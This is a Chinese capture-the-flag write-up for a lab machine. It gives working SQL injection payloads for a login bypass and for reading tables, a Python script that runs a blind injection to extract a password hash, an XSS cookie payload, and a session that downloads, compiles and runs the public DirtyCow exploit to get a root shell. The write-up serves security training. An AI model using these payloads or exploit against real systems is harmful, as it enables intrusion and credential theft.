0x00 前言

比赛入口:

1
http://192.168.50.133/intro.html

代码部分:

Flag A level 0: https://pastebin.ubuntu.com/p/HDWBHp3cRY/

Flag A level 1: https://pastebin.ubuntu.com/p/sv2DXCqjTN/

Flag B&C: https://pastebin.ubuntu.com/p/cCrgMFhVTK/


Flag D:

Flag E:

0x00 Flag A

这个题的目的很简单——登陆系统。我们可以从代码中看出,三个level用的都是相同的登陆逻辑,只不过是对输入内容的过滤措施不一样而已。我们挨个等级来看一下。

level 0: FLAG_A0_13FFEDE591_A

从代码中我们可以看到,level0的反注入措施只是仅仅将输入中的空格去掉了。我们可以使用块注释符来代替空格:

输入的用户名为:

1
2
-- md5('123')='202CB962AC59075B964B07152D234B70'
123'/**/UNION/**/SELECT/**/'shaoqunliu','202CB962AC59075B964B07152D234B70'#

输入的密码为:123

上述用户名和密码拼接到SQL中,如下:

1
SELECT username, password FROM user WHERE username='123'/**/UNION/**/SELECT/**/'shaoqunliu','202CB962AC59075B964B07152D234B70'#'

这个SQL的前半句不会有任何的返回,UNION后的语句则返回用户名为shaoqunliu,密码hash为202CB962AC59075B964B07152D234B70,也就是我们提前计算好的123的hash值。由此,我们就可以以一个错误的密码登陆shaoqunliu这个账户。

level 1: FLAG_A1_EF47A7FB2B_LL

level 1是我大二的时候给我们学校校赛出的原题。

level1的反注入措施不仅去掉了空格,而且还去掉了*号,这样我们就无法使用块注释法来代替空格。而且也去掉了#,这样我们添加单引号后,也无法通过结尾注释法来消除原本就存在在末尾的单引号。除此之外,其还去掉了包括UNION在内的一众SQL关键字。这样我们就得想想办法了。

首先,我们观察一下代码逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$username = anti_sql_injection($inp_id, $inp_level); 
$sqlquery = "SELECT username, password FROM user WHERE username='" . $username . "'";;
$sqlret = $mysqli->query($sqlquery);
if ($sqlret) {
$result = $sqlret->fetch_all(MYSQLI_ASSOC);
if (count($result) == 1) {
if ($result[0]['password'] == strtoupper(md5($inp_pwd))) {
// 登陆成功
} else {
// 弹框密码错误
}
} else {
// 弹框用户名错误
}
} else {
// SQL执行失败
}

我们发现,当SQL语句没有返回任何数据的时候,其会输出“用户名错误”,当其输出一条数据且密码不正确的时候,其会输出“密码错误”。所以,我们可以透过其输出值是否为“用户名错误”,来判断这条SQL语句到底有没有产生输出。这样,我们就找到了布尔注入的一个先决条件——布尔值。

用户输入的密码,经MD5算法散列后,其会输出一个长度为32的字符串,这个字符串中每一个字符的取值范围都是0-9以及A-F,也就是16进制数的字符。这样的话呢,我们就得想办法把密码Hash给猜出来。在MySQL中,我们可以使用substr函数来截取子字符串。

我们先忽略其它限制条件,当用户名的输入为shaoqunliu'AND SUBSTR(password, 1, 1)='?时,拼接后的SQL语句为:

1
SELECT username, password FROM user WHERE username='shaoqunliu' AND SUBSTR(password, 1, 1)='?'

在如上SQL语句中,当usernameshaoqunliu的时候,并且?处的字符为数据库中密码hash串的第一个字符时,这条SQL语句是有输出的。在外面看,其会返回“密码错误”。当?处的字符不为正确密码hash的第一个字符时,这条SQL是不会有输出的,从外面看,其会返回“用户名错误”。

这样呢,我们就可以对密码字段,一个字符一个字符地去尝试,至多尝试$ 32\times 16=512$次即可试出密码hash串来。有了这个思路,我们再来看这个题的危险字符屏蔽逻辑:

1
$filter = "/ |\*|#|,|union|like|sleep|ascii|regexp|for|and|file|--|\||`|&|" . urldecode('%09') . "|" . urldecode("%0a") . "|" . urldecode("%0b") . "|" . urldecode('%0c') . "|" . urldecode('%0d') . "/i";

首先,你没法用逗号,SUBSTR(password, 1, 1)里面的逗号用不了了,我们可以使用FROM ... FOR ...来代替,上述截取字符串逻辑即可写成SUBSTR(password FROM 1 FOR 1)。然后突然发现,你FOR也用不了,于是我们只能倒着推导密码字符串,也就是使用SUBSTR(password FROM 32),从32到1,每次试验前将之前试对的字符都拼接在要试验的字符后面。

逗号的问题和FOR的问题解决了,我们发现我们AND也用不了,同时被屏蔽的还有AND的替代字符&AND可以用子查询配合等号来替代,我们先来试着写一下子查询,子查询需要保证的条件就是当用户名为shaoqunliu且密码hash串的后几位为?的时候返回true,在不符合上述条件时无返回,且不能使用AND,如下:

1
SELECT 1 FROM (SELECT 1 FROM user WHERE username='shaoqunliu') C WHERE SUBSTR(password FROM 32)='?'

然后我们再将上述子查询用连等号连接起来,植入原始的SQL中,我们姑且先用#注释符消除掉最后的那个'给整个SQL带来的影响,如下:

1
SELECT username, password FROM user WHERE username='shaoqunliu'=(SELECT 1 FROM (SELECT 1 FROM user WHERE username='shaoqunliu') C WHERE SUBSTR(password FROM 32)='?')#'

当SQL执行器执行这条SQL,且扫描到用户名为shaoqunliu的那一行的时候:

  • 如果密码hash串的后几位恰好为?,则等号的前半部分返回值为1,后半部分返回值亦为1,所以整个WHERE子句的值为真,整个SQL有返回。
  • 如果密码hash串的后几位不为?的时候,等号的前半部分为1,后半部分返回值为NULL,整个SQL无返回。

当SQL执行器扫描到用户名不为shaoqunliu的其它行的时候,对于子查询而言,SELECT 1 FROM user WHERE username='shaoqunliu'返回值首先就为NULL,接着就会导致整个子查询部分返回NULL。因此在这种情况下SQL是无返回的。

背景知识:

在SQL中NULL与任何数做比较结果都只能是NULL。例如SQL: SELECT NULL=0, NULL=1, NULL<1, NULL>1的返回结果就为4个NULL

解决了AND不能用的问题呢,我们再来看一下我们的SQL,我们需要解决的下一个问题,即是#注释符不能用了,而且--也被屏蔽了,所以我们需要采用别的手段来消除掉最后那个。我们前面已经使用了一个等号,而且SQL是支持连等的,所以我们可以通过='或者!='来消除最后的',而且此时我们还必需保证对前半部分的语义没有影响。我们先假设用='来处理:

1
SELECT username, password FROM user WHERE username='shaoqunliu'=(SELECT 1 FROM (SELECT 1 FROM user WHERE username='shaoqunliu') C WHERE SUBSTR(password FROM 32)='?')=''

首先,SQL解释器对于这种连等是自左向右解析处理的,也就是上述语句与下述语句是等价的:

1
SELECT username, password FROM user WHERE ((username='shaoqunliu')=(SELECT 1 FROM (SELECT 1 FROM user WHERE username='shaoqunliu') C WHERE SUBSTR(password FROM 32)='?'))=''

我们将我们之前写好的前半部分,也就是((username='shaoqunliu')=(SELECT 1 FROM (SELECT 1 FROM user WHERE username='shaoqunliu') C WHERE SUBSTR(password FROM 32)='?')),作为一个整体X,对于等式,X=''X处的内容只有为0或者它自身的时候,等式才为true

在我们之前约定的条件中,我们需要当用户名为shaoqunliu且密码hash串的后几位恰好为?时,SQL才能有返回,也就是WHERE子句的值为1。而这个时候,前半部分,也就是整体X的值为为1,1=''的值为0,恰好不符合我们的要求,所以我们在此处填充的应该是!='。走完这一步,我们得到了如下SQL:

1
SELECT username, password FROM user WHERE username='shaoqunliu'=(SELECT 1 FROM (SELECT 1 FROM user WHERE username='shaoqunliu') C WHERE SUBSTR(password FROM 32)='?')!=''

再如下时,我们又将遇到一个难题,就是输入部分不允许使用空格,而且过滤逻辑中屏蔽了星号,块注释法也不再好使了。我们可以用括号代替空格,如下:

1
SELECT username, password FROM user WHERE username='shaoqunliu'=(SELECT(1)FROM((SELECT(1)FROM(user)WHERE(username='shaoqunliu'))C)WHERE(SUBSTR(password FROM 32)='?'))!=''

这样,用户名部分的最终payload即为:

1
shaoqunliu'=(SELECT(1)FROM((SELECT(1)FROM(user)WHERE(username='shaoqunliu'))C)WHERE(SUBSTR(password FROM 32)='?'))!='

根据如上思路,我们即可写出如下脚本进行快速尝试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

if __name__ == '__main__':
md5char, username, password = '1234567890ABCDEF', 'system_hints', ''
for i in range(32):
for char in md5char:
content = requests.post('http://127.0.0.1:8080/login.php', data={
'username': f"{username}'=(SELECT(1)FROM((SELECT(1)FROM(user)WHERE(username='{username}'))C)WHERE(SUBSTR((password)FROM({32 - i}))='{char + password}'))!='",
'password': 123, 'difficulty': 1
}).content.decode()
if '密码错误' in content:
password = char + password
print(f"{32 - i:2d}:{password:>33}")
print(f"ff:{password:>33}")

输出如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
32:                                2
31: 72
30: 072
29: 0072
28: A0072
27: 6A0072
26: A6A0072
25: 3A6A0072
24: B3A6A0072
23: BB3A6A0072
22: 2BB3A6A0072
21: F2BB3A6A0072
20: 8F2BB3A6A0072
19: D8F2BB3A6A0072
18: ED8F2BB3A6A0072
17: 3ED8F2BB3A6A0072
16: 63ED8F2BB3A6A0072
15: C63ED8F2BB3A6A0072
14: 0C63ED8F2BB3A6A0072
13: 60C63ED8F2BB3A6A0072
12: E60C63ED8F2BB3A6A0072
11: EE60C63ED8F2BB3A6A0072
10: 2EE60C63ED8F2BB3A6A0072
9: 92EE60C63ED8F2BB3A6A0072
8: 492EE60C63ED8F2BB3A6A0072
7: E492EE60C63ED8F2BB3A6A0072
6: 8E492EE60C63ED8F2BB3A6A0072
5: 78E492EE60C63ED8F2BB3A6A0072
4: A78E492EE60C63ED8F2BB3A6A0072
3: 1A78E492EE60C63ED8F2BB3A6A0072
2: 61A78E492EE60C63ED8F2BB3A6A0072
1: A61A78E492EE60C63ED8F2BB3A6A0072
ff: A61A78E492EE60C63ED8F2BB3A6A0072

然后我们知道了shaoqunliu这个账户,密码的MD5值为A61A78E492EE60C63ED8F2BB3A6A0072,我们找了一个线上的MD5彩虹表网站——CMD5,经过彩虹表反查得知此hash所对应的密码值为pa$word。就这样,我们即可使用这个用户名密码登陆系统啦。

0x01 Flag B

评论区回显SQL注入flag: FLAG_B_ABE3999582_FLAGS

找表名

1
-1' UNION SELECT TABLE_NAME, TABLE_SCHEMA FROM information_schema.TABLES WHERE TABLE_NAME LIKE '%flag%

得知flag在CTF库中的sqli_flag表中

找字段

1
-1' UNION SELECT TABLE_NAME, COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='sqli_flag

得知有2个字段,一个名为id,一个名为flag

查表

1
-1' UNION SELECT id, flag FROM ctf.sqli_flag #

0x02 Flag C

评论区XSS偷Cookie flag: FLAG_C_5350B1CA22_HAVE

1
</h4><script>alert(document.cookie)</script><h4>

0x03 Flag D

文件上传漏洞,非400 flag: FLAG_D_72F305FA3D_BEEN

0x0 Flag E

文件上传漏洞,内核提权flag: FLAG_E_AA8F3832A2_CAPTURED

这是个内核提权漏洞,我们需要有root权限才能读取flag文件中的内容。显然,既然有这道题,说明这个系统一定有内核提权漏洞。我们先来通过命令查看当前Linux系统版本:

1
2
ubuntu@ubuntu:~$ uname -a
Linux ubuntu 3.16.0-23-generic #31-Ubuntu SMP Tue Oct 21 17:56:17 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

我们可以看出,当前系统的发行版是2014年的。众所周知,脏牛漏洞,也几乎是Linux中最出名的一个内核提权漏洞,其所影响的版本覆盖到2007-2016这9年间几乎所有的Linux发行版。正好,我们靶机的这个系统正处在脏牛漏洞的影响范围内。

我们只需要在Google中搜索dirty cow exploit,就能找到相关的漏洞POC,然后编译执行POC程序,即可完成利用过程,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ubuntu@ubuntu:~$ whoami
ubuntu
ubuntu@ubuntu:~$ wget https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c
ubuntu@ubuntu:~$ gcc cowroot.c -o cowroot -pthread
ubuntu@ubuntu:~$ ./cowroot
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
Size of binary: 51128
Racing, this may take a while..
/usr/bin/passwd overwritten
Popping root shell.
Don't forget to restore /tmp/bak
thread stopped
thread stopped
root@ubuntu:/home/ubuntu# whoami
root

程序编译执行完成之后,我们再次执行whoami命令,即可看到,我们已经以提权为root账号了。

在制作靶机时遇到一个问题,在执行脏牛POC提权为root之后,用不了多久系统就会hang住,ssh也断开连接,VMware的虚拟机屏幕也无法正常使用。为提高靶机在非法提权后的稳定性,靶机内已经提前关闭系统的回写机制:

1
echo 0 > /proc/sys/vm/dirty_writeback_centisecs

参考资料:

Linux—回写机制

Freezing computer few seconds after use